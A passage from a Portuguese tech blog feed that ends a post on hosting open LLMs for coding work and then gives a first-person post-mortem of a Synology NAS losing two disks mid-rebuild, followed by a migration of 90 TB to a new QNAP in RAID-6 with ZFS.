    <a href="#vale-a-pena-ter-a-pr%c3%b3pria-infra" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra desenvolvimento de software sério, com os dados desta leva, a resposta vem em três partes.</p>
<p><strong>Os modelos abertos de ponta são bons o suficiente.</strong> GLM 5.3 Flash, Qwen3.8 Flash-Next e Swift 1.5 27B são Tier A no meu teste, no nível do Sonnet 5 e acima do Opus 4.6. Isso era impensável em abril, quando <a href="/2026/04/05/testando-llms-open-source-e-comerciais-quem-consegue-bater-o-claude-opus/">só o Qwen 3.6 35B chegava perto do Opus</a>, e ainda a uma correção de distância. Pra quem aceita um tier abaixo do teto, eles servem pra trabalho de verdade, inclusive revisão de segurança, que é o que o v4 mede.</p>
<p><strong>Alugar uma B300 pra rodar eles é o jeito errado de usá-los.</strong> A API em nuvem do mesmo modelo custa um dólar por rodada e precisa de zero configuração. O pod custa 218 por dia, exige um dia de ajuste por família de modelo, e no caso do DeepSeek entregou um modelo pior do que a API dele. Só vale com uma obrigação de residência de dados, com um checkpoint que nenhuma nuvem serve, com carga sustentada de centenas de rodadas por dia, ou com necessidade de pesos fixados pra reprodutibilidade. Quatro B300 pra rodar os de 750 bilhões a um trilhão quadruplicam a conta sem evidência de que a nota chega nos 100: o 397B, maior modelo que eu testei, fez 68,5.</p>
<p><strong>E se for pra hospedar, hospede pequeno.</strong> O Swift 1.5 27B e o ThinkingCap em 56 GB, com MTP, a 200 tokens por segundo, são Tier A em hardware que dá pra comprar, uma placa profissional de 80 ou 96 GB em vez de uma de datacenter. É ali que o open source faz sentido pra uma empresa: um time inteiro numa placa, código dentro da rede, nota de Opus 4.6. Só olhe a licença antes: o Swift e o ThinkingCap saem com licenças próprias, e acima de um certo faturamento os dois exigem licença comercial. Os gigantes abertos continuam sendo coisa pra API.</p>
<p>Minha regra depois disso tudo: modelo comercial de ponta pra tarefa que não pode errar, API de modelo aberto pra volume, e placa própria só quando a lei ou o cliente exigem. O repositório com cada argumento de serving, cada log de sondagem, cada transcrição de revisor e a proveniência Codex ou Claude de cada fronteira está <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">público</a>, como sempre.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>modelos-locais</category><category>llms</category><category>hardware</category></item><item><title>Desastre no meu NAS! Como quase perdi 90 TB de dados</title><link>https://www.akitaonrails.com/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/</guid><pubDate>Tue, 06 Oct 2026 12:00:00 -0300</pubDate><description>&lt;p&gt;Ontem, segunda-feira, fui acordado às 8 da manhã por um bipe alto e insistente. Eu sabia que era o NAS antes de abrir o olho. Corri pra ver, e quase perdi o chão: dois discos marcados como críticos, num array que nunca pode ter mais do que um.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Painel do Synology mostrando o Storage Pool 1 em estado crítico, com os discos 1 e 8 marcados como Critical" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Naquele momento eu sabia que estava a um soluço de perder tudo. Este texto é o post-mortem do que aconteceu, e a primeira parte foi escrita no calor do desastre, com a cópia de salvamento ainda rodando.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem, segunda-feira, fui acordado às 8 da manhã por um bipe alto e insistente. Eu sabia que era o NAS antes de abrir o olho. Corri pra ver, e quase perdi o chão: dois discos marcados como críticos, num array que nunca pode ter mais do que um.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Painel do Synology mostrando o Storage Pool 1 em estado crítico, com os discos 1 e 8 marcados como Critical"  loading="lazy" /></p>
<p>Naquele momento eu sabia que estava a um soluço de perder tudo. Este texto é o post-mortem do que aconteceu, e a primeira parte foi escrita no calor do desastre, com a cópia de salvamento ainda rodando.</p>
<blockquote>
  <p><strong>Atualização de 11 de outubro:</strong> a cópia terminou e o final foi feliz. Nenhum arquivo se perdeu por acidente, os dois NAS estão saudáveis, cada um com seu RAID-6. A recuperação inteira está na <a href="#seis-dias-depois-o-final-da-hist%c3%b3ria">segunda metade deste texto</a>. A primeira parte fica como foi publicada, sem retoques.</p>

</blockquote>
<h2>Eu uso NAS faz muito tempo<span class="hx:absolute hx:-mt-20" id="eu-uso-nas-faz-muito-tempo"></span>
    <a href="#eu-uso-nas-faz-muito-tempo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não sou marinheiro de primeira viagem. Fiz uma <a href="https://www.youtube.com/playlist?list=PLdsnXVqbHDUcM0LTAxqrVrTy6Q7jQprjt"target="_blank" rel="noopener">minissérie inteira de vídeos sobre armazenamento e sistemas de arquivos</a>, e recomendo assistir antes de vir me perguntar &ldquo;qual um bom NAS pra iniciante?&rdquo;. Não existe isso.</p>
<p>Uso armazenamento externo desde a segunda metade dos anos 2000, quando era usuário de Mac e existia o Drobo. A empresa não existe mais, mas tive três DAS deles antes de migrar pra Synology, primeiro num modelo de entrada e depois no DS1821+, intermediário, que uso há mais de cinco anos. Já escrevi sobre ele aqui, <a href="/2025/04/17/configurando-meu-nas-synology-com-nfs-no-linux/">configurando NFS no Linux</a> e <a href="/2025/04/24/acessando-seu-nas-usando-iscsi-em-vez-de-smb/">acessando por iSCSI</a>.</p>
<p>Ele foi muito valioso pra mim, e você não tem que questionar por que eu preciso de tanto espaço. Não importa: cada um decide o que guarda no seu.</p>
<p>Quando eu produzia vídeo pro YouTube, editava material 4K direto do NAS, graças ao cache NVMe e à rede 10 GbE. Me acostumei com armazenamento grande a 10 gigabits e não consigo mais voltar atrás.</p>
<p>O array estava organizado em SHR, o RAID híbrido da Synology, que na prática se comporta como RAID-5 (mais sobre isso adiante): aguenta a perda de um disco sem perder dado nenhum. Sempre achei que isso bastava.</p>
<h2>HD morre. Sempre<span class="hx:absolute hx:-mt-20" id="hd-morre-sempre"></span>
    <a href="#hd-morre-sempre" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não se engane: disco rígido estraga. Nunca, jamais confie num HD solitário esquecido num armário. Ele vai falhar, e você vai perder tudo o que está nele.</p>
<p>O melhor dado público sobre isso é o da Backblaze, que opera centenas de milhares de discos e publica a taxa de falha todo trimestre. No <a href="https://www.backblaze.com/blog/backblaze-drive-stats-for-q2-2026/"target="_blank" rel="noopener">relatório do segundo trimestre de 2026</a>, com 354.415 discos monitorados, a taxa anualizada foi de 1,73%, e a taxa acumulada da frota inteira está em 1,41% ao ano.</p>
<p>Parece pouco. Traduzindo pra escala de gente:</p>
<ul>
<li><strong>Um disco sozinho, por 5 anos:</strong> a chance de ele morrer nesse período fica perto de 7%. É mais ou menos a chance de tirar um número específico num dado de 14 lados. Você apostaria todas as fotos da sua família nisso?</li>
<li><strong>Um disco sozinho, por 10 anos:</strong> uns 13%, um em cada oito.</li>
<li><strong>Oito discos, como no meu NAS, por um ano:</strong> a chance de pelo menos um falhar é de uns 11%. Em cinco anos, mais de 40%.</li>
</ul>
<p>E esses números são de datacenter, com temperatura controlada, energia limpa e disco girando o tempo todo. HD de gaveta, que fica anos parado e leva tranco na mudança, não tem estatística tão bonita.</p>
<p>Cartão de memória é pior, e nem existe uma estatística equivalente pra consultar. O que existe é teste de tortura: o <a href="https://www.bahjeez.com/the-great-microsd-card-survey-one-year-later/"target="_blank" rel="noopener">Great MicroSD Card Survey</a> testou 216 cartões ao longo de um ano de escrita contínua, e 52 deles, um em cada quatro, já tinham morrido.</p>
<p>Cartão legítimo começou a dar erro, em média, depois de uns 2.500 ciclos de regravação; cartão falsificado, depois de 700. Cartão de memória é mídia de transporte. Guardar a única cópia de alguma coisa num microSD é pedir pra perder.</p>
<p>A conclusão prática é a mesma da minissérie: dado importante precisa de redundância. Um array com paridade existe justamente pra que a morte de um disco, que é questão de tempo, não leve nada junto.</p>
<h2>O que aconteceu<span class="hx:absolute hx:-mt-20" id="o-que-aconteceu"></span>
    <a href="#o-que-aconteceu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Com tudo isso, eu deveria estar tranquilo com a minha configuração. Não estava.</p>
<p>Começou anteontem, domingo. Fazia tempo que eu via o volume chegando no teto.</p>
<p>No começo eram 8 discos de 10 TB. Com os anos fui trocando, um a um, por discos de 20 TB (o DSM mostra em base binária; na etiqueta são 12 e 22 TB). É um processo lento: cada troca leva dias, porque o array precisa reconstruir e redistribuir os dados.</p>
<p>Decidi trocar mais um, o sétimo. A Synology suporta hot-swap, então é simples: tira o disco velho, encaixa o novo, adiciona ao array e deixa o DSM cuidar da reconstrução.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-pool-reparando.png" alt="Storage Pool 1 do Synology em reparo, 0,01% concluído, com 108 TB alocados de 121,8 TB"  loading="lazy" /></p>
<p>No domingo à noite estava assim: reconstrução começando, os oito discos saudáveis, 108 TB alocados de 121,8 TB.</p>
<p>Na segunda, às 8 da manhã, o bipe. O disco 1, o novo, com 13 horas de uso, marcado como crítico:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive1-critico.png" alt="Disco 1 do Synology em estado crítico, com erro de I/O e 13 horas ligado"  loading="lazy" /></p>
<p>E o disco 8, um dos antigos, com 22.095 horas ligado (dois anos e meio), também crítico, com erro de leitura às 08:05:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive8-critico.png" alt="Disco 8 do Synology em estado crítico, com erro de leitura e a mensagem de que o número de discos com falha excede a tolerância do RAID"  loading="lazy" /></p>
<p>A mensagem do pool não deixava margem: &ldquo;erros irrecuperáveis ocorreram porque erros de disco aconteceram depois da degradação do storage pool. Faça backup dos seus dados imediatamente.&rdquo;</p>
<h3>Por que dois discos é o fim<span class="hx:absolute hx:-mt-20" id="por-que-dois-discos-é-o-fim"></span>
    <a href="#por-que-dois-discos-%c3%a9-o-fim" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Em RAID-5, se dois discos caem, a redundância é zero, e em teoria o array inteiro vai junto. É uma situação irrecuperável.</p>
<p>Quem assistiu a minha playlist sabe o motivo. Um array desses não guarda &ldquo;arquivos&rdquo;, um por disco. Um arquivo é uma coleção de blocos, e os blocos ficam espalhados por todos os discos, junto com a paridade. Perder um disco é perder um pedaço de cada arquivo. Não adianta os outros sete estarem saudáveis, porque eles só têm partes.</p>
<p>A paridade serve pra recalcular o pedaço que falta quando um disco some. Com dois faltando, a conta não fecha.</p>
<p>E tem um detalhe cruel na reconstrução: pra recriar o disco novo, o array precisa ler todos os outros discos de ponta a ponta. São mais de 100 TB de leitura contínua. Se algum disco antigo tinha setor ruim escondido num canto que ninguém lia fazia tempo, é nessa hora que ele aparece. Foi o que aconteceu com o disco 8.</p>
<h2>Pra onde copiar 90 TB?<span class="hx:absolute hx:-mt-20" id="pra-onde-copiar-90-tb"></span>
    <a href="#pra-onde-copiar-90-tb" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A única saída, naquele ponto, era agradecer aos céus por os volumes ainda estarem acessíveis, com os arquivos aparecendo, e usar a janela pra copiar tudo pra fora imediatamente. Eu não podia encostar em mais nada.</p>
<p>O problema: copiar uns 90 TB pra onde? Ninguém tem um NAS de 100 TB vazio sobrando em casa.</p>
<p>Normalmente eu compraria esse tipo de peça nos Estados Unidos, numa viagem de turismo, e traria comigo. Sai muito mais barato. Não compensa comprar eletrônico caro no Brasil: o país cobra imposto de importação pior que as tarifas do Trump faz décadas, e o preço final costuma passar do dobro do preço de tabela americano.</p>
<p>Só que eu tinha que escolher. Quanto vale perder 90 TB de dados que levei anos juntando e que são quase impossíveis de recuperar de outro lugar? É uma daquelas situações em que a resposta é &ldquo;não tem preço&rdquo;, e então, qualquer que seja o preço, eu pago.</p>
<p>Achei um revendedor de storage perto de casa, a <a href="https://www.controle.net"target="_blank" rel="noopener">Controle Net</a>. Gente boa, muito ágil na resposta, e me mandaram uma proposta de equipamento com entrega no mesmo dia.</p>
<p>A primeira sugestão deles foi um QNAP TS-832PX. Fui pesquisar antes de aceitar. Ele tem as mesmas 8 baias e já vem com 10 GbE, mas o processador é um ARM Cortex-A57 de 1,7 GHz (Annapurna Labs AL324) com 4 GB de RAM, metade do mínimo de 8 GB que o QuTS hero pede. Pra RAID-6 em ZFS, com checksum e paridade dupla em cada bloco, é hardware fraco, como eu explico mais abaixo. E seria um downgrade em relação ao DS1821+ que eu já tinha, que roda num Ryzen V1500B.</p>
<p>Pedi outra opção, e depois de algumas idas e vindas fechei num QNAP TS-873A, de 8 baias, com o mesmo Ryzen V1500B do meu Synology, 8 GB de RAM, e 10 discos Toshiba MG11 de 24 TB, classe enterprise.</p>
<p>É por isso que você tem que fazer a sua própria pesquisa e saber, objetivamente, o que quer fazer com o equipamento. O revendedor não agiu de má-fé: sugeriu um NAS de 8 baias pra quem pediu um NAS de 8 baias. Quem sabia que ia rodar ZFS em RAID-6 era eu. Se eu tivesse aceitado a primeira proposta no susto, teria pago caro por uma máquina pior do que a que estava substituindo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-proposta-qnap.png" alt="Proposta do revendedor: QNAP TS-873A, 10 discos Toshiba MG11ACA24TE de 24 TB, instalação, treinamento e suporte por 6 anos, total de R$ 185.320,00"  loading="lazy" /></p>
<p>R$ 185.320,00. De fazer o olho lacrimejar.</p>
<h3>Quanto custaria nos Estados Unidos<span class="hx:absolute hx:-mt-20" id="quanto-custaria-nos-estados-unidos"></span>
    <a href="#quanto-custaria-nos-estados-unidos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Fui conferir o preço de tabela americano de hoje. Sobre o câmbio: o dólar está em R$ 4,97 agora, mas isso é efeito do resultado do primeiro turno da eleição de domingo, que derrubou a cotação mais de 4% na segunda. Até sexta ele fechava em R$ 5,22, e é essa a cotação justa pra comparar, porque foi nela que o estoque do revendedor foi formado:</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">Preço nos EUA</th>
          <th style="text-align: right">Total</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>QNAP TS-873A-8G (<a href="https://store.qnap.com/ts-873a-8g-us.html"target="_blank" rel="noopener">loja da QNAP</a>, Newegg)</td>
          <td style="text-align: right">US$ 1.199</td>
          <td style="text-align: right">US$ 1.199</td>
      </tr>
      <tr>
          <td>10 × Toshiba MG11ACA24TE 24 TB (<a href="https://www.bhphotovideo.com/c/product/1889900-REG/toshiba_mg11aca24te_24tb_mg10_series_7200.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 999,99 cada</td>
          <td style="text-align: right">US$ 9.999,90</td>
      </tr>
      <tr>
          <td>Placa 10 GbE QXG-10G2T-X710 (<a href="https://www.bhphotovideo.com/c/product/1643883-REG/qnap_qxg_10g2t_x710_dual_port_10gbase_t_10gbe_network.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 351,99</td>
          <td style="text-align: right">US$ 351,99</td>
      </tr>
      <tr>
          <td><strong>Total</strong></td>
          <td style="text-align: right"></td>
          <td style="text-align: right"><strong>~US$ 11.550</strong></td>
      </tr>
  </tbody>
</table>
<p>A R$ 5,22, uns R$ 60 mil. Eu paguei R$ 185 mil, mais de três vezes isso.</p>
<p>A comparação não é perfeita: a proposta brasileira inclui instalação, treinamento e seis anos de suporte técnico, e o equipamento estava na minha mesa no fim do mesmo dia. Mas dá a medida do efeito Brasil.</p>
<p>Se a regra de bolso é &ldquo;o dobro do preço americano&rdquo;, o normal seria uns R$ 120 mil. Os R$ 65 mil a mais são, numa estimativa grosseira minha, a soma de serviço, estoque local de disco enterprise e a minha urgência. Quem compra numa segunda de manhã com o array morrendo não está em posição de pechinchar.</p>
<h3>E o disco está caro no mundo inteiro<span class="hx:absolute hx:-mt-20" id="e-o-disco-está-caro-no-mundo-inteiro"></span>
    <a href="#e-o-disco-est%c3%a1-caro-no-mundo-inteiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Pra piorar, o momento é o pior possível pra comprar HD. A bolha de IA está sugando a produção.</p>
<table>
  <thead>
      <tr>
          <th>Indicador</th>
          <th>Antes</th>
          <th>Agora</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>WD Blue 4 TB (histórico do Camelcamelcamel)</td>
          <td>US$ 67 a 85</td>
          <td>US$ 99, <a href="https://winbuzzer.com/2026/02/18/wd-seagate-2026-hard-drive-shortage-ai-data-centers-xcxwbn/"target="_blank" rel="noopener">quase 50% a mais em cinco meses</a> (fevereiro de 2026)</td>
      </tr>
      <tr>
          <td>Capacidade de produção</td>
          <td>disponível no varejo</td>
          <td>WD: 2026 praticamente esgotado, com contratos até 2027 e 2028; Seagate: capacidade nearline toda alocada</td>
      </tr>
      <tr>
          <td>Margem bruta da WD</td>
          <td>41,0% um ano antes</td>
          <td><a href="https://datacenterdisk.com/news/hard-drive-prices-up-50-percent-2026"target="_blank" rel="noopener">54,1% no trimestre encerrado em julho de 2026</a></td>
      </tr>
  </tbody>
</table>
<p>Eu achava que a Seagate tinha saído do mercado consumidor. Fui conferir, e não é bem isso: ela não saiu, mas em fevereiro 87% das vendas de HD dela já eram disco nearline, de datacenter, e a WD tira 89% da receita de clientes de nuvem e só 5% do varejo. O CEO da WD disse que a empresa está &ldquo;praticamente esgotada para o ano de 2026&rdquo;.</p>
<p>A Seagate declarou que não vai ampliar a capacidade de produção; o crescimento vem só de disco de maior densidade. Pra quem compra disco em casa, o efeito prático é parecido com terem saído: sobra o que os hyperscalers não quiseram, pelo preço que o vendedor pedir.</p>
<h2>QNAP em vez de outra Synology<span class="hx:absolute hx:-mt-20" id="qnap-em-vez-de-outra-synology"></span>
    <a href="#qnap-em-vez-de-outra-synology" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois de passar a manhã e a tarde entre negociação, burocracia e boleto, no fim do dia eu tinha o QNAP ligado ao lado do Synology.</p>
<p>A escolha pela QNAP foi além da disponibilidade. A Synology vem tomando decisão de negócio questionável.</p>
<p>Em 2025 ela lançou a linha Plus <a href="https://www.tomshardware.com/pc-components/nas/synology-walks-back-controversial-compatibility-policy-for-2025-nas-units-third-party-hdd-and-ssd-support-returns-with-diskstation-manager-7-3-update"target="_blank" rel="noopener">exigindo discos da própria marca ou certificados por ela</a>.</p>
<p>Os da marca são discos de Seagate, Toshiba e WD rebatizados com firmware próprio, e quem usasse outro ficava sem criar pool, sem monitoramento de saúde, sem deduplicação e sem atualização de firmware. Depois da gritaria, <a href="https://www.howtogeek.com/synology-is-walking-back-its-drive-requirements/"target="_blank" rel="noopener">voltou atrás no DSM 7.3</a> e liberou HD e SSD SATA de outras marcas.</p>
<p>Só que pool em M.2 continua exigindo a lista de compatibilidade. Ficou a incerteza no ar: o que impede de fazerem de novo?</p>
<p>Configurar o QNAP é muito fácil. O QuTS hero, o sistema deles baseado em ZFS, é tão simples de usar quanto o DSM da Synology.</p>
<h2>Corrigindo o meu erro: RAID-6 e ZFS<span class="hx:absolute hx:-mt-20" id="corrigindo-o-meu-erro-raid-6-e-zfs"></span>
    <a href="#corrigindo-o-meu-erro-raid-6-e-zfs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Dessa vez eu sabia que tinha que configurar em RAID-6, que aguenta dois discos falhando ao mesmo tempo. A desvantagem é menos capacidade total, porque o equivalente a dois discos vira paridade em vez de um. A vantagem é que eu não deveria mais passar por uma emergência como esta.</p>
<p>Um dos pontos fortes da QNAP é suportar ZFS de fábrica, bem integrado e fácil de usar.</p>
<p>Pra quem não conhece: o ZFS nasceu na Sun Microsystems, pro Solaris, em meados dos anos 2000, e hoje vive como OpenZFS em Linux e FreeBSD. Ele junta num sistema só o que antes eram três camadas, o RAID, o gerenciador de volumes e o sistema de arquivos. Guarda um checksum de cada bloco, então percebe quando o disco devolve dado corrompido sem avisar, e conserta sozinho a partir da paridade. E nunca sobrescreve dado no lugar: toda escrita vai pra um bloco novo, o que torna snapshot praticamente gratuito.</p>
<p>A fama de devorador de RAM vem de duas coisas. A primeira é o ARC, o cache dele, que por desenho ocupa quase toda a memória livre da máquina. Isso assusta quem olha o gráfico, mas é cache: ele devolve a memória quando outro processo pede. A segunda é a desduplicação, que mantém uma tabela enorme com o hash de cada bloco e precisa dela na RAM pra não ficar inutilizável de tão lenta. A velha regra de &ldquo;1 GB de RAM por TB de disco&rdquo; vem daí, e só vale pra quem liga desduplicação.</p>
<p>Mesmo sem ela, ZFS pesa mais que um ext4 ou um Btrfs simples. Calcular checksum, compressão e paridade dupla de cada bloco gasta CPU, e com pouca memória o cache encolhe e tudo fica lento. Em hardware fraco, tipo um NAS de entrada com processador ARM e 2 GB de RAM, ele sofre.</p>
<p>A QNAP pede no mínimo 8 GB pro QuTS hero. O meu veio com 8 GB e um Ryzen de quatro núcleos, o que serve pro meu uso, que é guardar arquivo grande e servir pela rede. Desduplicação fica desligada.</p>
<p>Comprei 10 discos pra um NAS de 8 baias, então sobram dois na gaveta, de reserva, pro dia em que um falhar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-criando-pool-raid6.png" alt="Assistente de criação de storage pool do QNAP: 8 discos em RAID 6, 126 TB, over-provisioning de 5%, espaço garantido de snapshot de 5% e alerta em 85%"  loading="lazy" /></p>
<p>Pra minha configuração simples, três ajustes:</p>
<ul>
<li><strong>Over-provisioning de 5%.</strong> É um pedaço do pool que o sistema reserva e nunca entrega pra dado. ZFS escreve sempre em espaço novo e fica lento quando o pool enche perto do limite; essa folga mantém o desempenho estável. Em pool de SSD ela também prolonga a vida útil, mas aqui são HDs, então o mínimo já serve.</li>
<li><strong>Espaço garantido de snapshot de 5%.</strong> É a reserva pra snapshot, as &ldquo;fotos&rdquo; do estado dos arquivos que permitem voltar atrás num apagão ou num ransomware. Garantir o espaço significa que os snapshots continuam existindo mesmo que eu encha o resto. Meus dados mudam pouco (é arquivo morto, na maior parte), então snapshot ocupa quase nada e 5% sobra.</li>
<li><strong>Alerta em 85%.</strong> O sistema me avisa quando o pool passar de 85% de uso, com folga pra eu agir antes de bater no teto. Foi exatamente a falta de folga que me fez sair trocando disco às pressas no Synology.</li>
</ul>
<p>Somando as duas reservas, uns 13 TB ficam separados e sobram 112,9 TB pra uso.</p>
<p>Um detalhe do meu caso: estou copiando os 90 TB com os snapshots desligados, e só ligo o agendamento depois que a cópia terminar. Snapshot protege o estado anterior de um arquivo, e num NAS vazio que está recebendo a primeira carga não existe estado anterior que valha proteger. A fonte da verdade ainda é o Synology.</p>
<p>E tem um custo prático. Eu parei e recomecei o job várias vezes, apaguei pasta que tinha entrado por engano e copiei de novo. Com snapshot ligado, cada coisa apagada continuaria ocupando espaço dentro de algum snapshot, e eu estaria enchendo o pool com lixo da própria migração. Quando tudo estiver do lado de cá e conferido, aí sim: snapshot agendado, pra me proteger de apagar o que não devia e de ransomware.</p>
<p>Depois disso criei uma partição gigante &ldquo;thick&rdquo;. Em ZFS dá pra criar pasta &ldquo;thin&rdquo;, que só ocupa o que tem dentro e pode prometer mais espaço do que existe, ou &ldquo;thick&rdquo;, que reserva o tamanho inteiro na criação. Como é um pool com um dono só e um uso só, thick é mais previsível: o espaço é meu e ninguém compete por ele.</p>
<p>Por fim, criei os compartilhamentos e instalei o app HBS 3.</p>
<h2>Copiando 90 TB<span class="hx:absolute hx:-mt-20" id="copiando-90-tb"></span>
    <a href="#copiando-90-tb" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O HBS 3 (Hybrid Backup Sync) é o aplicativo da QNAP pra backup e sincronização. Ele conecta em outro NAS, em rsync, em FTP, em SMB ou em nuvem.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-criar-job.png" alt="Tela de criação de job de sincronização do HBS 3, com as opções de destino: NAS local, NAS remoto, Rsync, FTP e CIFS/SMB"  loading="lazy" /></p>
<p>Conectei no compartilhamento SMB do Synology e mandei sincronizar tudo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-job-sync.png" alt="HBS 3 sincronizando do Synology TERACHAD para o QNAP TS-873A"  loading="lazy" /></p>
<p>Tive que parar e recomeçar algumas vezes, mexendo nas configurações do job, porque estava absurdamente lento. E a contagem de arquivos não parava de crescer:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-snapshot-explosao.png" alt="Status do job no HBS 3 mostrando 45 milhões de arquivos e 865 TB calculados, com média de 350 MB/s"  loading="lazy" /></p>
<p>865 TB num NAS de 108 TB, e aí eu entendi o que estava acontecendo.</p>
<p>Excluí dois tipos de caminho do job:</p>
<ul>
<li><strong>Os diretórios <code>#snapshot</code>.</strong> No Synology, quando você marca &ldquo;tornar snapshot visível&rdquo;, cada pasta compartilhada ganha uma subpasta <code>#snapshot</code> com uma visão completa da pasta em cada ponto no tempo. Dentro do Synology isso não ocupa espaço, porque snapshot só guarda a diferença. Visto de fora, por SMB, cada snapshot parece uma cópia inteira de tudo, e o HBS estava tentando copiar todas.</li>
<li><strong>Os diretórios de backup do restic.</strong> O restic guarda tudo em centenas de milhares de arquivos de pack de poucos megabytes cada. Cópia por rede é rápida com arquivo grande e sofre com arquivo pequeno, porque cada um custa abertura, metadado e fechamento. E esses backups eu refaço do zero no NAS novo.</li>
</ul>
<p>Com isso a vazão subiu pra uma média de 400 MB/s.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-400mbs.png" alt="Monitor de recursos do QNAP mostrando 414,8 MB/s de recebimento na interface de 10 GbE"  loading="lazy" /></p>
<p>Isso é menos da metade do que uma rede 10 GbE entrega, mas é mais de três vezes o gigabit que a maioria das pessoas tem em casa. Os dois lados estão de fato a 10 gigabits:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-10gbe.png" alt="Adaptador 10 GbE do QNAP conectado a 10 Gbps"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-10gbe.png" alt="Interface LAN 5 do Synology a 10000 Mbps, full duplex"  loading="lazy" /></p>
<p>Por que não chega nos 1.000 MB/s? Minha hipótese principal é o disco 8. O array de origem está degradado, e cada leitura que passa pelos pedaços afetados precisa ser recalculada a partir da paridade, com um disco que ainda por cima devolve erro e repete tentativa. Faz sentido o Synology não conseguir ir mais rápido que isso.</p>
<p>Tem um segundo fator, que os meus próprios prints entregam: o Synology está com jumbo frame (MTU 9000), e a imagem do QNAP mostra o MTU padrão de 1500. Esse print é de antes; eu já mudei o QNAP pra 9000 também.</p>
<p>Por que isso importa: MTU é o tamanho máximo de cada pacote que trafega na rede. No padrão de 1500 bytes, encher um link de 10 gigabits significa processar mais de 800 mil pacotes por segundo, e cada pacote custa CPU dos dois lados, com cabeçalho, checksum e interrupção. Com jumbo frame cada pacote carrega seis vezes mais dado, então é um sexto dos pacotes pro mesmo volume, e sobra processador pra mover arquivo. Só funciona se todo mundo no caminho estiver igual: as duas placas e o switch. Se um lado fica em 1500, a conexão negocia pelo menor e o jumbo frame do outro lado não serve de nada.</p>
<p>A 400 MB/s, 90 TB levam uns dois dias e meio, e eu prefiro dois dias e meio garantidos.</p>
<h2>O que a Synology explicou<span class="hx:absolute hx:-mt-20" id="o-que-a-synology-explicou"></span>
    <a href="#o-que-a-synology-explicou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Em paralelo, abri um chamado no suporte da Synology. Depois de algumas trocas, mandei os logs. Responderam rápido, no mesmo dia, e isso eu reconheço. A explicação do engenheiro, resumida:</p>
<ul>
<li>O disco 8 vinha registrando erro de mídia <strong>há mais de um mês</strong>. Erro de mídia é quando o NAS manda ler um setor e o disco responde que não conseguiu, mesmo tentando várias vezes. É sempre falha interna do disco, e ele deveria ter sido trocado.</li>
<li>Foi a saúde ruim do disco 8 que o derrubou durante a reconstrução do disco 1.</li>
<li>Na prática eu perdi dois discos, e o pool deveria ter caído por completo. Não caiu por causa do jeito como o SHR funciona.</li>
</ul>
<p>O SHR não é um RAID-5 só. Pra aproveitar discos de tamanhos diferentes sem desperdiçar espaço, ele fatia os discos e monta vários RAIDs menores, um por faixa de tamanho, e junta tudo num volume. O engenheiro mandou este diagrama de exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-shr-particoes.png" alt="Diagrama do suporte da Synology mostrando como o SHR divide discos de tamanhos diferentes em partições 1, 2 e 3"  loading="lazy" /></p>
<p>No meu caso, o pool é feito de duas partições. Na primeira, a reconstrução do disco 1 já tinha avançado o bastante e a falha do disco 8 foi leve o bastante pra que os dois continuassem funcionando. Na segunda, os dois estão ausentes. É por isso que o pool não caiu inteiro e eu ainda enxergo os arquivos.</p>
<p>A recomendação dele foi a que eu já estava seguindo: copiar tudo pra fora antes de qualquer outra coisa, porque não dá pra saber se a situação piora nem se tem conserto. Depois do backup ele até pode tentar forçar o disco 8 de volta pro pool pra reconstrução continuar, mas não há garantia de que o disco aceite, nem de que aguente o processo. Nas palavras dele, copiar e recriar o pool do zero é provavelmente o caminho mais rápido.</p>
